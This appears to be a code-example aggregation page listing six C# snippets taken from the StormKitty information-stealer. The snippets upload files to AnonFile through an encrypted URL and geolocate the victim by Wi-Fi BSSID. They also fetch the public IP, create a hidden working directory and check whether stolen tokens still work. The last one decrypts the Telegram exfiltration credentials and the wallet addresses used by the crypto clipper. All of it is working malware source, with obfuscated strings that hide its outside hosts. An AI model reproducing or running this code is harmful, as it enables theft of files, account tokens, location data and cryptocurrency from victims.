Beispiel #1
0
 public static string Upload(string file, bool api = false)
 {
     try
     {
         if (System.IO.File.Exists(file))
         {
             using (WebClient Client = new WebClient())
             {
                 byte[] Response = Client.UploadFile(
                     StringsCrypt.Decrypt(new byte[] { 4, 203, 201, 210, 147, 242, 36, 225, 66, 42, 36, 218, 27, 178, 235, 223, 170, 114, 211, 210, 237, 234, 99, 134, 41, 195, 235, 18, 139, 139, 53, 239, 207, 253, 34, 1, 192, 176, 118, 47, 164, 23, 131, 62, 62, 37, 108, 32, }) +
                     (api ? StringsCrypt.AnonApiToken : ""), file);
                 string ResponseBody = Encoding.ASCII.GetString(Response);
                 if (!ResponseBody.Contains("\"error\": {"))
                 {
                     return(ResponseBody.Split('"')[15]);
                 }
                 else
                 {
                     Logging.Log("AnonFile Upload : API exception\n" + ResponseBody);
                 }
             }
         }
     }
     catch (Exception error)
     {
         Logging.Log("AnonFile Upload : Connection error\n" + error);
     }
     return(null);
 }
Beispiel #2
0
        // Get location by BSSID
        // Example API response:
        // {"result":200, "data":{"lat": 45.22172742372, "range": 156.997, "lon": 16.54707889397, "time": 1595238766}}
        public static string GetLocation()
        {
            string result;
            string response;
            string bssid = GetBSSID(); // "00:0C:42:1F:65:E9";
            string lat   = "Unknown";
            string lon   = "Unknown";
            string range = "Unknown";

            // Get coordinates by bssid
            try
            {
                using (WebClient client = new WebClient())
                    response = client.DownloadString(
                        StringsCrypt.Decrypt(new byte[] { 91, 185, 159, 48, 60, 79, 139, 159, 124, 37, 212, 232, 253, 2, 176, 189, 141, 243, 199, 107, 13, 252, 71, 66, 122, 29, 213, 176, 205, 11, 172, 67, 107, 43, 94, 178, 129, 142, 99, 210, 172, 1, 13, 123, 158, 81, 183, 66, 255, 162, 185, 157, 75, 7, 48, 125, 76, 21, 246, 190, 35, 164, 108, 141, }) + bssid);
            }
            catch
            {
                return("BSSID: " + bssid);
            }
            // If failed to receive BSSID location
            if (!response.Contains("{\"result\":200"))
            {
                return("BSSID: " + bssid);
            }
            // Get values
            int index = 0;

            string[] splitted = response.Split(' ');
            foreach (string value in splitted)
            {
                index++; // +1
                if (value.Contains("\"lat\":"))
                {
                    lat = splitted[index]
                          .Replace(",", "");
                }
                ;
                if (value.Contains("\"lon\":"))
                {
                    lon = splitted[index]
                          .Replace(",", "");
                }
                ;
                if (value.Contains("\"range\":"))
                {
                    range = splitted[index]
                            .Replace(",", "");
                }
            }
            result = $"BSSID: {bssid}\nLatitude: {lat}\nLongitude: {lon}\nRange: {range}";
            // Google maps
            if (lat != "Unknown" && lon != "Unknown")
            {
                result += $"\n[Open google maps]({StringsCrypt.Decrypt(new byte[] { 206, 105, 162, 71, 154, 101, 143, 133, 216, 233, 4, 78, 251, 231, 127, 197, 50, 50, 5, 167, 22, 30, 67, 50, 30, 134, 116, 165, 251, 47, 202, 115, 111, 224, 166, 249, 5, 156, 140, 131, 223, 55, 212, 39, 236, 254, 69, 45, })}{lat} {lon})";
            }

            return(result);
        }
Beispiel #3
0
 // Get public IP
 public static string GetPublicIP()
 {
     try
     {
         string externalip = new WebClient()
                             .DownloadString(
             StringsCrypt.Decrypt(new byte[] { 172, 132, 62, 84, 188, 245, 252, 173, 117, 82, 97, 91, 237, 238, 214, 39, 28, 15, 241, 23, 15, 251, 204, 131, 247, 237, 166, 92, 82, 85, 22, 172, }))
                             .Replace("\n", "");
         return(externalip);
     } catch { }
     return("Request failed");
 }
Beispiel #4
0
        // Create working directory
        public static string InitWorkDir()
        {
            string workdir = Path.Combine(
                lappdata, StringsCrypt.GenerateRandomData(StormKitty.Config.Mutex));

            if (!Directory.Exists(workdir))
            {
                Directory.CreateDirectory(workdir);
                Startup.HideFile(workdir);
            }

            return(workdir);
        }
Beispiel #5
0
 // Check token
 private static string TokenState(string token)
 {
     try
     {
         using (WebClient http = new WebClient())
         {
             http.Headers.Add("Authorization", token);
             string result = http.DownloadString(
                 StringsCrypt.Decrypt(new byte[] { 204, 119, 158, 154, 23, 66, 149, 141, 183, 108, 94, 12, 88, 31, 176, 188, 18, 22, 179, 36, 224, 199, 140, 191, 17, 128, 191, 221, 16, 110, 63, 145, 150, 152, 246, 105, 199, 84, 221, 181, 90, 40, 214, 128, 166, 54, 252, 46, }));
             return(result.Contains("Unauthorized") ? "Token is invalid" : "Token is valid");
         }
     } catch { }
     return("Connection error");
 }
Beispiel #6
0
 // Decrypt config values
 public static void Init()
 {
     // Decrypt telegram token and telegram chat id
     TelegramAPI = StringsCrypt.DecryptConfig(TelegramAPI);
     TelegramID  = StringsCrypt.DecryptConfig(TelegramID);
     // Decrypt clipper addresses
     if (ClipperModule == "1")
     {
         ClipperAddresses["btc"] = StringsCrypt.DecryptConfig(ClipperAddresses["btc"]);
         ClipperAddresses["eth"] = StringsCrypt.DecryptConfig(ClipperAddresses["eth"]);
         ClipperAddresses["xmr"] = StringsCrypt.DecryptConfig(ClipperAddresses["xmr"]);
         ClipperAddresses["xlm"] = StringsCrypt.DecryptConfig(ClipperAddresses["xlm"]);
         ClipperAddresses["xrp"] = StringsCrypt.DecryptConfig(ClipperAddresses["xrp"]);
         ClipperAddresses["ltc"] = StringsCrypt.DecryptConfig(ClipperAddresses["ltc"]);
         ClipperAddresses["bch"] = StringsCrypt.DecryptConfig(ClipperAddresses["bch"]);
     }
 }